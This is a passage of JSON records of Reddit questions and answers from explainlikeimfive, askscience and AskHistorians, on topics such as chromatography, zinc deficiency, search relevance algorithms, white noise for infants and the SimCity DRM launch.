polar. As your solvent and chemical mixture goes through the silica, the more polar chemicals will stick more tightly to the silica, and so will move more slowly along. Unlike a filter, they will still eventually drip out the other end (they stick like a post it note, not fast like super glue). This is because solvent is always running through the column and that sweeps them along, but they'll be a lot slower than a more non polar thing, because they can't stick as strongly to the silica. \n\nImagine some people walking through a crowd. The crowd is the column. The polar chemicals are like the popular kids that talk to all their friends along the way and are really slow to move through because they keep stopping to chat. Non polar chemicals don't talk to other people much (because the people in this crowd are popular like the polar popular kids and they don't have much in common). So they just go through pretty quickly. Now imagine you have a gate at the other end of the crowd and you make every five people who come through the crowd stand separate from everyone else. The first five will probably be the most unpopular (non polar) kids right? They would be quickest to go through, so first to come out. The next five would be more popular than the first group, but still not super popular. This continues until the last five emerge who are very popular. You've now separated however many different types of kids: even the very popular from the kind of popular kids. \n\nBack to the column now though. Imagine if those groups of people were chemicals. So if you collect the drips out the other end of the column tube in lots of little vials, you will end up with some vials at the beginning which have your non polar stuff, and vials collected later which have your polar stuff. Each vial is like a group. Voila, you now have vials of pure chemicals. \n\nThere's variations on this idea, but that's the basics. I won't go into this further because this comment is already too long, but I hope that made sense! I'm very passionate about teaching chemistry because it has such a bad reputation, but I know I'm tired so IDK if I explained it well. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Ion_exchange"], []]}
{"q_id": "57hi69", "title": "how can so many animals, defensively or aggressively, instinctively know or seemingly easily learn that the neck is a major weak spot?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/57hi69/eli5_how_can_so_many_animals_defensively_or/", "answers": {"a_id": ["d8s23bh", "d8se8u9"], "score": [5, 2], "text": ["You said it... instinctively. As to how that came to be? Evolution. Animals which attacked weak points on their prey or predators were more successful, bred more, and they're the ancestors of the animals we know today. Evolution is an arms race, and having an advantage means your genes get to keep going.", "Animal species evolves. Individuals who learn that the neck is a major weak spot have a higher chance of passing on their genes than ones that don't.\n\nAnimal species keeps evolving. Individuals with mental faculties predisposing them them to learn that the neck is a weak spot faster than others have a higher chance of passing on their genes than ones that don't.\n\nTrait of being able to learn that the neck is a weak spot becomes more and more refined over the generations until it is instinct, since chances of survival largely point to an individual's ability to isolate the neck as a killing spot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bw35mo", "title": "how are pets, especially pets recently weaned, who are required to fly with the luggage, not adversely affected without a pressurized, climate and oxygen controlled compartment while flying at 30,000 feet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bw35mo/eli5_how_are_pets_especially_pets_recently_weaned/", "answers": {"a_id": ["epurcm4", "epurdt1", "epurtg6", "epuuu9m", "epuxin3"], "score": [11, 2, 19, 2, 3], "text": ["Pets travel in a pressurized, climate controlled compartment. If you fly coach probably your pet is more comfortable than you", "Pressurized cargo bays, not all cargo bays on planes are unpressurized specifically for stuff like this", "They are put in a pressurized compartment in flight. The entire tube that makes up the body of the aircraft is pressurized. It is not just the passenger compartment. This simplifies the construction of the airplane as it is easier to make a pressure container round and it also ensures that the cargo is not damaged by too low pressure. In addition there is a section of the cargo room that is specifically climate controlled just like the cabin so that high value cargo like musical instruments and pets can be more safely transported.", "Only certain planes have pressurized cargo holds. If you book a flight and need your pet to fly with you in cargo it's normally an airbus A320 for domestic flights.", "As said before the whole thing is pressurized. If the luggage wasn't pressurized you would also get things like bottles and other sealed containers pop during flight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "19xzwb", "title": "the whole simcity fiasco", "selftext": "It seems /r/games is talking a whole lot about SimCity and I have no idea what about.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19xzwb/eli5_the_whole_simcity_fiasco/", "answers": {"a_id": ["c8sbjhz", "c8sclv6", "c8sdxhh", "c8sdyl0", "c8semd2", "c8sghpb", "c8sjvpu"], "score": [66, 155, 273, 2, 9, 3, 8], "text": ["SimCity features an always-on DRM which means that in order to play, one must connect to EA's servers.\n\nAforementioned servers were vastly under-prepared for the huge influx of players, meaning that many were not actually able to play the game they had bought. Others experienced numerous technical glitches such as forced roll backs, save corruptions, random disconnection and more.\n\nA secondary annoyance is that it seems significant and important features of the game (which have been confirmed to be complete), such as the ability to construct cities on any significant scale, are currently being withheld, presumably with the intention of selling them to the players as DLC at some later date.", "people buyed the game but it dont work good ", "I sold you a bicycle. It's a shiny bicycle that looks like a lot of fun. It also has a cool feature: a radar so that you can see where your friends are on their bicycles.\n\nYou try it out and it's fun, but a bit disappointing. It doesn't have all of the features the last version did (subway), and it looks like I might try to sell you some of those old features one by one at an extra cost in a few months, which is a bit rude. It doesn't go as fast as the old model, either (small map size). But it would still be okay, except for some glaring flaws.\n\nEvery time you use the bicycle, I have to go and unlock it. I tell you that this is so I can turn on the radar, but even if you don't really want to use the radar, you still need me to unlock the bicycle before you can ride it. What if you run over one of my rosebushes and I get mad and won't unlock it anymore? If you get tired of the bicycle, you can't give it away to a friend, because I won't unlock it for your friend.\n\nAnd worst of all, everyone in your neighborhood got these bicycles, so there's a huge crowd of kids waiting for me to unlock them. I didn't hire an assistant to help during the busy times, so you just have to wait, maybe for hours. You begin to wonder if the radar is even worth the hassle, but you can't unlock it yourself, and I've paid the government to make it illegal for you to even try  & ndash; even though it's your own bicycle! Finally, you can't return it, even though it's not working right and it's my fault.\n\nIt almost makes you think you should have just gotten one of the free bicycles with the radar removed from the shady guy down the road. At least those will actually let you ride them.", "Listen son, \nSim City has something called always on DRM. This means if you do not have internet connection, you cant play. :( This makes lots of people sad, as there is no good reason for it. The scary PIRATES of the internet are the reason the game makers added this feature. They think it will save them lost money from potential PIRATES who would steal the game and play it for FREE! Now, it has been proven this doesn't work for very long, because these very smart PIRATES can find a way around the DRM usually pretty quickly. This means that the honest paying customers are left with a somewhat broken software. \n    Because of this always on DRM, they must connect to servers owned by EA. So many people want to play this game, that the servers fill up! Sadly, this leaves many PAYING players without the ability to connect to their game they PAYED for. This makes lots of honest paying customers mad, and sad. :(  \n     On top of this aspect, Amazon customers are being offered refunds, but Origin customers are not. This makes all sorts of people upset. The shenannigans that EA has made its honest paying customers suffer, it has further hurt its players/customers. It seems to be a never ending FUCK YOU FEST THAT JUST RUINS EVERYONES DAY! THIS IS WHY WE FUCKING CANT HAVE NICE FUCKING THINGS!!!! FUCK YOU EA  I FUCKING HATE YOU!!!", "Unlike Diablo 3, which genuinely runs like an MMO where the entire game runs on Blizzard's servers, SimCity is still almost entirely an offline game. The game logic has no reliance on a live dedicated server, as stated by Maxis themselves before the online requirement was announced:\n\n_URL_0_\n\nSo the online requirement is almost purely DRM in this case, unlike Diablo 3 where the game literally cannot function without an internet connection. That's just technical implementation of course, I'm not trying to say it's the right design.\n\nThe problem is, SimCity simply **doesn't work** right now. And it's because of the online requirement which isn't actually necessary for the game to function. And every fix Maxis tries to put out there seems to break things more and more.\n\nKotaku summarized things well. Diablo 3's connection problems were clear and concise. SimCity's are unclear, arbitrary, and are causing problems both when trying to connect to play the game initially, but then also after you connect, play for hours, think everything's fine and dandy, but then weird glitches keep popping up.\n\n_URL_1_", "Neither does EA apparently.", "Not mine, but here is the top review on Amazon. It explains perfectly what's wrong with the game, why people are mad, and what they did.\n\nFundamentally, SimCity has always been a 'software toy'. That means that there's no real end state, no way to win. It's just a thing that you play and experiment with. You build, and tinker, and mess around. It's a toy, not a game; it's a sandbox, not baseball.\n\nSo, in this iteration of the game, you don't even get to buy your toy. Rather, you rent a toy from EA, who lets you play with it only in very limited, circumscribed ways, only on their servers. So you have to have a live Internet connection at all times, and their servers have to be up, and have to have space for you. And the rules for play are draconian. If you want to, say, build a city, save it, blow it up with something terrible, and then restore from save, you can't do that anymore. That's an unauthorized usage of their toy. And if you figure out ways of using their toy that they don't like, they'll ban you forever.\n\nAll third-party modding is shut out. One of the best parts of SimCity 4 and The Sims is that users can create and share content among themselves for free. You will no longer be able to do this. You will be required to run only Official Authorized Content.\n\nFurther, you're not getting the whole game for your $60 or $80, depending on what version you're buying. EA's plan is to sell you Simcity 5 over and over and over. They've directly admitted that they already have it running with larger cities, but they're not releasing that now. They claim it's because it \"won't run on Dad's PC\", but the real reason is so they can sell it to you again later. Want subways? That's gonna be $20. Want railroads? Another $20. Bigger cities? Oh, that's in the $30 expansion.\n\nRight now, if you look at The Sims 3, the game costs $30. But if also you buy all the DLC for it, it's *four hundred and seventy dollars*. This is what they are doing with SimCity 5; locking you into their server infrastructure, and then exploiting the heck out of your wallet.\n\nThis is a lousy deal, and you would be stupid to take it. Always-on DRM, and a deliberately crippled game, so that they can slowly uncripple it, charging you for every restored feature from prior versions.\n\nSimcity 4 still works pretty well. It's not quite as nice as most current games, and can require you to 'pin' the process to just one processor on a multi-core system (ie, most current machines), but if you want a city builder where you won't have to pay extra to breathe both in AND out, that would be a better option.\n\nBut buying this game? In my opinion, you would be wiser to take three twenties out of your wallet, and light them on fire. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.shacknews.com/article/72841/simcity-to-support-play-anywhere-online-design", "http://kotaku.com/5989503/the-many-ways-we-didnt-get-to-play-simcity-this-week"], [], []]}
{"q_id": "vy2q9", "title": "How different would the Earth be Gravitationally/Physically if we had many/larger moons amongst other natural satellites?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vy2q9/how_different_would_the_earth_be/", "answers": {"a_id": ["c58m1pu", "c58mai4"], "score": [2, 5], "text": ["Tidal patterns would be much more complex. If they were massive and close enough there would be significant changes in net gravitational forces as the moons orbit.", "The main effect of the Moon that we see/feel on Earth are those which cause the tides of the ocean. Assuming that the other moons were about the same size and more distant than our Moon, all we would experience is more complex tides. If, however, the other moons were larger and/or closer, we might experience some more interesting effects. For example, the tidal forces might become so strong that a full moon would cause massive flooding. We might even be able to feel the effects of that extra gravity offset, making things lighter during a full moon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3o9zcp", "title": "How can a person (ever not) be zinc deficient if biosystems are unable to store zinc?", "selftext": "I was reading the wiki for zinc deficiency when I came across a section stating [people can't store zinc](_URL_0_).\n\nI'm confused by what this means because I understand nutrient deficiencies to be matters of some permanence--but if excess zinc can't be stored, does my body have only whatever zinc is floating in my blood and whatever my digestive system has *just* broken down? If so, wouldn't zinc deficiency begin setting in the moment my body stopped digesting zinc-rich nutrients?\n\nThanks, askscience.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3o9zcp/how_can_a_person_ever_not_be_zinc_deficient_if/", "answers": {"a_id": ["cvvgqy8", "cvvl6dv"], "score": [3, 4], "text": ["Little is known on this still; although there is no dedicated storage per say, it is still stored within the many different types of cells that require it for enzymatic activity.\n\nIt binds to albumin for transport and heads to those areas. The excess is excreted. To maintain proper levels, our body requires constant replenishment of this metal.\n\nLuckily it is commonly fortified in many foods and exists in high amounts in many animal products.\n\nEdit:Grammar", "The only metal that humans actually store is iron. You could argue that the body stores calcium in bones, since there is a mechanism to decalcify your bones if you are deficient in calcium for a long time, however ultimately this leads to health problems too.\n\nTo move onto your example. If you don't get enough zinc on Monday it doesn't mean you wake up zinc deficient on Tuesday. Why?\n\n1) Dietary intake values are time weighted averages. It means that on average you need to maintain these amounts to be healthy over a long time. Acute deficiencies only occur with 'essential' things like water and salt (these things are consumed **and** excreted at a high rate) and even these take several days to manifest in normal circumstances.\n\n2) While your body may not stores zinc, it can function normally with a range of zinc available. Assuming you have been eating the right amount of zinc for a long time and then stop eating any, you will be 'saturated' with zinc and have more than enough to function normally. It will take a long time before the zinc amount in your body drops to the deficient level, where your bodily function actually suffers. This is because 1) Most trace elements are recycled many times and 2) zinc in particular is a structural meal ion; it forms active sites in enzymes that are relatively long lived (compared to signal ions).\n\nWith respect to iron. The body has a protein called ferritin that is basically a big bag that stores iron as iron oxide. It is unique because iron has low bioavailability since most of its salts are insoluble in water, which makes ingesting it difficult.\n\n"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Zinc_deficiency#Mechanism"], "answers_urls": [[], []]}
{"q_id": "3iltnk", "title": "why is it that i really want to be productive, but my brain literally does everything it can to stop me?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3iltnk/eli5_why_is_it_that_i_really_want_to_be/", "answers": {"a_id": ["cuhie4k", "cuhj169", "cuhrkdv"], "score": [6, 13, 3], "text": ["Extreme procrastination like this usually means some part of you really doesn't want the thing to happen. Late for your wedding? Maybe you aren't feeling confident about getting married. Can't start filling out your tax form? Maybe you feel it will be a horrible experience involving lots of math and rules, or you don't want to find out how much money you owe.", "When you say you want to be productive, what you really mean is that you really want the rewards. What you don't want is to have to do the work to get there.\n\nIt's like an overweight person really wants to be very fit. But they do not want to change their diet and lifestyle and they don't want to exercise.", "I recently found out that I could have ADD (attention deficit disorder).  Despite this likely being over-diagnosed everywhere, I believe it, after reading descriptions of living with it.  When I'm at work, i really want to get something done, but instead i flip between monitors and windows for hours, trying to settle my mind to work on SOMETHING productive, and just can't.\n\nSlightly distracting myself with music often helps, getting some energy out SOMETIMES helps (like going for a quick walk), caffeine actually helps me concentrate quite a bit...  I dunno.  Could be a lot of reasons, and this isn't really an explanation, but it's something to consider."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4nap6e", "title": "How does sorting by \"Relevance\" work? How does a computer determine what's relevant and what isn't?", "selftext": "A lot of search tools let you change the thing you sort by. You can look at the most recent, the newest, or the most popular, and I can understand the criteria they're sorting by. But sometimes you have a sort by \"relevance\" option ([like this](_URL_0_)), and I don't understand what that's doing.\n\nAnd just to be specific, I'm not talking about algorithms like pagerank that can use outside information like cross linking to determine the weights of specific entries, but specifically something like reddit's search, that only has the entries themselves to determine relevance from. Unless, of course, that's how all of these relevance sorts work on the back end.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4nap6e/how_does_sorting_by_relevance_work_how_does_a/", "answers": {"a_id": ["d4284pe", "d42ak66", "d42b0g7", "d42bwb3", "d42gnns", "d42r8lm"], "score": [167, 3, 16, 2, 13, 2], "text": ["A whole lot of different websites use a whole lot of different information to sort by \"relevance\". One option would be to use the amount of times someone searched the same keyword and clicked a link from that search (thus making its relevance higher). Other options would be to use the searching user's own history of the site to check the relevance. Like, if reddit knows you go to x kinds of threads more often, it'll make those threads more relevant to you. A more simple way of doing it is to compare it to the metadata of the content; if your search term appears more often in the body, title, tags, etc of the content, then that content would be more relevant.\n\nIt's a very intricate kind of fuzzy logic that a lot of different companies work on, and most of these techniques delve a lot on  the field of Machine Learning. Of course, the more accurate you can make your algorithm, the more people will prefer using your services, and the more income you can get... So I'd imagine the bigger companies keep those algorithms under lock-and-key.", "One way for a computer to determine relevance is the [Rocchio algorithm](_URL_0_).\n", "It's just a name, so don't put too much stock by it: the computer does not know what's truly relevant what's not; rather, the designers of the system have come up with an algorithm that is *supposed* to find things relevant to your query, and so that's the label they put on it.\n\nOne popular algorithm if you type in multiple words is that sorting by relevance sorts first of all by how many of the words can be found in each item. So if you search for \"chocolate biscuits\" you'll find pages about chocolate biscuits before you find pages about hot chocolate or digestive biscuits - this is good because it's more relevant!\n\nNevertheless it often doesn't give you the stuff you want - because really \"relevance\" is just a name here. The trouble is, sorting by date and popularity - or price for example on Amazon - are easy to label. But the algorithms that are labelled as \"relevance\" don't really have an easy or intuitive name.", "To add to the comments here: \n\n\"Relevance\" is not a specific term in computer science. When working on \"big data\" systems there is no predefined algorithm to indicate what is \"relevant\" to your searches. The team behind PageRank probably spends a lot of time analyzing user data collected via Splunk or other such logging/statistics tool and then uses that data to determine what people are \"actually\" looking for. In my project we are basically \"guesstimating\" by knowing what most customers actually order/want and then making that the most \"relevant\" using certain scoring weights inserted as metadata on the actual data.", "\"Relevance\" algorithms have very much been a subject of research and there is no \"one\" answer.  Perhaps the most popular algorithm for search engines when there's no data like linking or \"popularity\" has historically been one called [TF/IDF](_URL_0_).  TF/IDF has been around for quite a while and has served as a basis for many search engines.  The wikipedia article is quite good on describing it, but in short, it takes a statistical approach to try to determine 2 things:\n\n * how much of any individual document is composed of the words you're searching.  If every term you're searching for matches every term in a document, this will rank the relevance higher\n * the relevance of the words you're searching for in general in the whole corpus.  For example \"the\" is used all over the place in virtually every document (see [Zipf's law](_URL_3_) for more on this subject), so it typically plays a small role in the relevance in most corpuses relative to rarer words\n\n\n[Okapi BM25](_URL_5_) has been the up-and-coming algorithm and will likely replace TF/IDF as the default given that [Lucene](_URL_1_) -- the most popular library for text search -- has switched over to it as its default in version 6.0, which just recently came out.  BM25 is similar to TF/IDF in a lot of the conceptual ways, but (in general) it handles short text better and avoids [keyword stuffing](_URL_4_) better as well.\n\n\nMost of the websites you use will use one of these 2 or a variation of one of them in some fashion.  [Mutual information](_URL_2_) has also gained some popularity at some places, and some take into account other things like click rates or time on page, age of the documents, user profiling, promotions that the website wants you to see, etc -- typically as an additional influencing function.\n\n\nI've been consulting/developing/selling/product managing search software for about 10 years.", "This is a commonly done using tools that can do something called \"full text search\".\n\n_URL_0_\n\nInformation on the things you're searching are broken down and stored (indexed) in a way that when someone searches over those documents, the applications developers, who understand the purpose of their app and their users, know how to weight the pieces of the pieces of information of what they have stored to the users search.\n\nFor example, if I had a phone book app that stored people's names, numbers and addresses - if someone were to search for \"John\" and the application were made to perform full text search on all the information I have, I would likely get back all the people with \"John\" in their name, phone number and address. But the developer, knowing the purpose of their app, could give more credit to the people who's name had \"John\" in it since it's likely more relevant.\n\nElasticSearch is a common technology people use for this now.\n\nHope this helps"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/BN3OMgY"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Rocchio_algorithm"], [], [], ["https://en.wikipedia.org/wiki/Tf%E2%80%93idf", "https://lucene.apache.org/", "https://en.wikipedia.org/wiki/Mutual_information", "https://en.wikipedia.org/wiki/Zipf%27s_law", "https://en.wikipedia.org/wiki/Keyword_stuffing", "https://en.wikipedia.org/wiki/Okapi_BM25"], ["https://en.m.wikipedia.org/wiki/Full_text_search"]]}
{"q_id": "gji7a", "title": "Spontaneous strong pulsing/twitching of vein/artery for several seconds: what causes it?", "selftext": "I don't mean the normal blood-pumping pulse\u2014this sensation is much stronger and only lasts for a few seconds. I get it mostly in the major artery under my jaw. The pulses are erratic and much faster than the pulse of the heart. Anyone know what causes this feeling?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gji7a/spontaneous_strong_pulsingtwitching_of_veinartery/", "answers": {"a_id": ["c1o00d9", "c1o0qth", "c1o1oid", "c1o1x1a"], "score": [9, 2, 2, 3], "text": ["This sounds like a muscle spasm.", "Theses sensations are normal although not entirely understood; people will often experience a pulsating on their leg or eye lid ( there is a disease where this is problematic, and the nerves are paralyzed to stop it)", "Probably muscle spasm.\n\nIf it was your blood vessel, maybe Raynauds (do your fingers turn blue ever? Especially in the cold?)\n\nAn ER doctor explained to me that Raynauds is a \"blood vessel spasm\" and I didn't previously know that they could even do that. Maybe something got lost in translation into layman's terms.", "Depending on the degree these are fasciculations or fibrillations of the muscle. Can be caused initiated both by muscle or neuron. Function not known, seen in alpha motor neuron syndromes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "28788i", "title": "Does pink noise and white noise really induce sleep in newborn babies? Why?", "selftext": "When my daughter was a newborn, she would almost immediately sleep whenever someone was vacuuming the house. I thought it was funny but probably just a habit. I've read about other babies that had this peculiarity but it all seemed anedoctal. \n\nWhen my son was born we started to test those pink noise videos from YouTube and it freaking works like a charm. \n\nAre we just training our babies to sleep with those sounds or are the sounds really causing them to sleep? If they are, so we understand the mechanism for this phenomenon?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28788i/does_pink_noise_and_white_noise_really_induce/", "answers": {"a_id": ["ci86eub", "ci86moy", "ci87tc2", "ci8bk4c"], "score": [586, 37, 15, 17], "text": ["Yes, white noise seems to help newborns sleep. [This study on PubMed](_URL_0_) found that 80% of babies exposed to white noise fell asleep in a given time period (4.5 minutes) while only 25% of babies not exposed to it fell asleep in the same period. The study says this is likely due to white noise's similarity to intrauterine sound\u2014i.e., what a fetus hears in the womb.\n\nIn fact, recordings of intrauterine sound are used to calm babies as well. They sound a bit different, as /u/Thumbs4Eyes noted ~~here~~ *[deleted by mods, see edit below]*\u2014 more of a *\"wowowowowowow\"* sound, like a police siren in the form of a whisper. [You can listen to one here](_URL_6_). The womb is actually [surprisingly loud](_URL_2_) in terms of baseline background noise, not to mention things like [mom's speech or bowels](_URL_5_).\n\nThere may be potential risks to certain kinds of white noise for babies, however. [This study](_URL_3_) found that some commercial white noise machines might be dangerously powerful for infants, while [this study on rats](_URL_1_) floats the possibility that lots of exposure to noise may slow auditory cortex development by stunting the ability to perceive soft sounds.\n\nHowever: these aren't very solid studies for drawing conclusions from, due to small sample size / non-human subjects / lack of corroborating research, so the efficacy and risk of white noise is still somewhat of an open question. Whether white noise while sleeping can cause a white noise 'dependency' for sleep also remains controversial.\n\n**tl;dr yes, because it sounds like the womb**\n\n**Edit:** A previous top comment that was deleted because it was anecdotal mentioned that many of the methods for calming babies, including swaddling, rhythmic motion, and shushing, are designed to mimic the environment of the womb. This is correct and [backed up by research](_URL_4_).", "[Spencer et al., 1990](_URL_0_)  \nOld article but the only one that popped up with a quick PubMed search. Found that 80% of neonates (2-7 day old babies) fell asleep spontaneously in a white noise environment compared with just 25% of controls. Only an n of 20 but a pretty huge effect size. They hypothesize that\n > \"White noise probably acts by masking other external noises thereby removing such arousal stimuli and calming the baby.\"  \n\n  They also compare it to the sounds of the womb, which by association induces a feeling of security. \n  \n  \nIt should, however, be noted that *too much* white noise may be detrimental to the development of your baby's auditory cortex. Essentially, variations in auditory stimuli are crucial during a specific postnatal window for A1 to correctly organize itself. This is easiest to conceptualize by looking at the same principle in visual development -- a baby raised in a completely dark room will develop permanently impaired vision. White noise is the auditory equivalent of putting your baby in a dark room. Let me be clear I am **not** saying that you should never vacuum or use a blender with your baby in the house. I am just saying that white noise is powerful, and as with all things concerning a baby, it should be used with care.  \n  \nSource: [Chang  &  Merzenich, 2003. Environmental noise retards auditory cortical development.](_URL_1_) (Full article is behind a paywall but PM me if you're interested and I can send you a pdf.)\n\nEDIT: Formatting", "This is just a reminder that anecdotes and off topic comments are not allowed on /r/AskScience. Please make sure any comments are based on scientific information. Thank you!", "How is noise defined?\n\nWhat is pink noise? What is white noise?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1792397/", "http://www.sciencemag.org/content/300/5618/498", "http://www.ncbi.nlm.nih.gov/pubmed/2222618", "http://pediatrics.aappublications.org/content/early/2014/02/25/peds.2013-3617", "http://www.jabfm.org/content/23/5/689.2.full", "http://www.ncbi.nlm.nih.gov/pubmed/2386134", "https://www.youtube.com/watch?v=DaiLpUZ2DNY"], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1792397/pdf/archdisch00666-0073.pdf", "http://www.sciencemag.org/content/300/5618/498"], [], []]}
{"q_id": "fwzdw", "title": "Can I suffocate by sleeping with a blanket over my head?", "selftext": "Sort of a silly question, but I've always wondered if it is possible. If it is possible, how many blankets of a given thickness does it take? If it was sufficient to suffocate me, would my body automatically struggle and kick them off as I slept, or would I die in my sleep?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fwzdw/can_i_suffocate_by_sleeping_with_a_blanket_over/", "answers": {"a_id": ["c1j90cv", "c1j9cgt", "c1j9e47", "c1j9k9k", "c1j9mny"], "score": [4, 11, 3, 2, 2], "text": ["I get sleep paralysis fairly often, where lack of air wakes me to shrug the blanket off, but the paralysis doesn't allow it. Those always seem like long and hellish moments until I can move a finger then an arm and breathe deep again.\r\n\r\nSo, possibly?", "I don't have a source, but I'm going to say it's highly unlikely. First off, you can probably breath through your blanket. You can test this, put it over your face, seal the edges. I can still breath through mine. Second, unless you are exceptional at making an airtight seal with your blanket (you aren't), the air will diffuse out and in at a pretty reasonable rate. Also, I suspect as you got enough CO2 in your lungs you would panic pretty hard. It would be a little like holding your breath under water. That being said, drunk people do choke on their own vomit, but I believe this has more to do with their brains not activating properly to save themselves than with drink changing their response to CO2 in the lungs.\n\nEDIT: (After hindrou's comment) I'm saying that it's not a problem. There is a zero chance of suffocating. Your blanket lacks the airtightness to cut off airflow, and you would wake up if it did. Thanks hindrou.", "Maybe if you swallowed a small corner of it...", "I think the main panic reaction (gasping) is due to high CO2 levels.  Assuming you fill a room with nitrogen and put a blanket over your head, yes, you could suffocate.", "Once I got quite drunk at a party and fell asleep with a thick leather coat over my head. I woke up gasping for breath. Scared the hell out of me. But I guess it demonstrates that the body's survival mechanisms kick in even when you are drunk and asleep.\n\nThe scary one with regards to suffocating in your sleep is carbon monoxide. Google for it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "28ubse", "title": "are we terrorists?", "selftext": "We consider people who come into our country and cause damage, explosions, or death to be terrorists but yet we do the same in other countries. Yet, we do the same thing are we considered terrorists in other countries?\n\nEdit: I am talking about America", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28ubse/eli5_are_we_terrorists/", "answers": {"a_id": ["ciek07f", "ciek0dh", "cieka2z"], "score": [2, 5, 3], "text": ["That's a philosophical question. Yes and no. Some of us more than others. You can't blame a whole population for an act though. You must blame individuals. Can you blame all of America for being terrorists? No, just like you cannot blame all of the Middle East for 9/11. Though our national government sanctions the military acts in the middle east. We do cause terror, and therefore we are terrorists. But I think that you have to want to cause terror to be a terrorist. I don't think that we should be in there doing that stuff, and I don't want to be associated with it. Therefore I think I am not a terrorist. But what the middle east might think of me could differ. ", "One man's terrorist is another man's freedom fighter. ", "There is no universal definition of terrorism, which can make it difficult to say \"yes, this is an act of terrorism,\" or \"no, this is not an act of terrorism.\"  But most definitions of terrorism entail the following:\n\n* Politically, religiously, or ideologically motivated.\n* Designed to target civilians (or make no distinction between civilians and military)\n* Designed to disrupt everyday life and instill fear of violence in those targeted\n* Carried out by an organization, political party, or paramilitary group (as opposed to a national army or other group that must adhere to the so-called Rules of War)\n\nKnowing this, do you think the actions taken by the US (or other countries) could be called terrorism?\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5oqger", "title": "Medieval Venice styled itself \"The Most Serene Republic of Venice.\" What was the significance of the self-proclaimed serenity? Did \"serene\" have a meaning at he time that has been lost since?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5oqger/medieval_venice_styled_itself_the_most_serene/", "answers": {"a_id": ["dcm8mo0"], "score": [135], "text": ["Disclaimer: I've mostly studied the architectural  &  urban history of Venice, but as there is only 1 other response to this post, I'm going to gove it a go. Mods, feel free to remove. \n \nThe venetians were quite proud of the stability and longevity of their republic. \"La Serenissima\" referred to a number of factors that kept the peace in the city from internal disputes as well as invasion. This can be narrowed down to a well-fed citizenry, a stable liberal oligarchy and a standing navy combined with its strategic location.\n\n1_ The city kept a close eye on the grain reserves in case the trade routes to Venice were ever disrupted, or their suppliers were ever hit with famine. As you probably well know, a hungry mob is an angry mob, and angry mobs generally tend to break things and de-stablize.\n\n2 _ An explict and conservative code of conduct checked the behavior of the upper class . Laws were applied equally to noble and commoner, and punishment in many cases was harsher for the nobleman. While there was some disparity in wealth among the nobili, many of them were merchants or bankers, aligning their interests with the citizens they ruled. The highest offices required the nobleman to spend large amounts of personal wealth, meaning that while only the wealthiest could rise to the peak, the highest office wasn't always desirable. The most successful of the Venetian upper class never became as obscenely wealthy as the best Florentine banker, partially due to this policy. Because the nobili imposed so many restrictions on themselves (including raising taxes on patricians and cutting government salaries during hard times) and would-be tyrants were prosecuted, common citizens of Venice were content to let the ruling class rule. Combined with #1, it meant that Venice, among the Italian city states, was remarkably free of riots.\n\n3_ For external foes, Venice was always a difficult to target. Its grain reserves meant that a land seige could lead to a longer, riskier venture. Being a group of islands, it could only be attacked directly by boat, but the tides and waterways were notoriously difficult to navigate, especially for non-natives.Venice was  also one of the few Italian city states with a standing military force (common practice at the time was to hire foreign mercenaries or Italian condottieri). The navy knew the lagoons well, and it was centered on a state-sponsored innovation center that implemented best maritime technology in the most streamlined production process of its time - the Arsenale. The building of both naval and merchantile vessels was considered a state endeavor, and the Arsenale adeveloped firearms at an early date, giving the Venetian navy many technological advantages. Venice was the premier naval force in the Mediterranean for many years, and found its biggest challenger in the Ottoman navy.  \n   \nSo the Most Serene Republic of Venice was relatively untroubled by internal and external conflicts. Venice did see some existential threats (Ottoman conflict, plague) and a couple doges put to death, but compare that to the cycle of factions, riots, sacks, occupations, and general uncertainty in Milan, Rome, Florence and Naples in the same period.\n \nSources:\n \nVenice and its Merchant Empire, Katheyn Hinds  \nVenice: Hinge of Europe, 1081-1797, William H McNeill\n\nEdit: formatting"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1cfuax", "title": "why is r/adviceanimals called like that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1cfuax/eli5_why_is_radviceanimals_called_like_that/", "answers": {"a_id": ["c9g3id2", "c9g56m7", "c9g8017"], "score": [14, 9, 3], "text": ["Because it's a pic of an animal giving advice?", "Because the original image macro was literally a dog giving advice. ", "I should know the answer for this question...\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
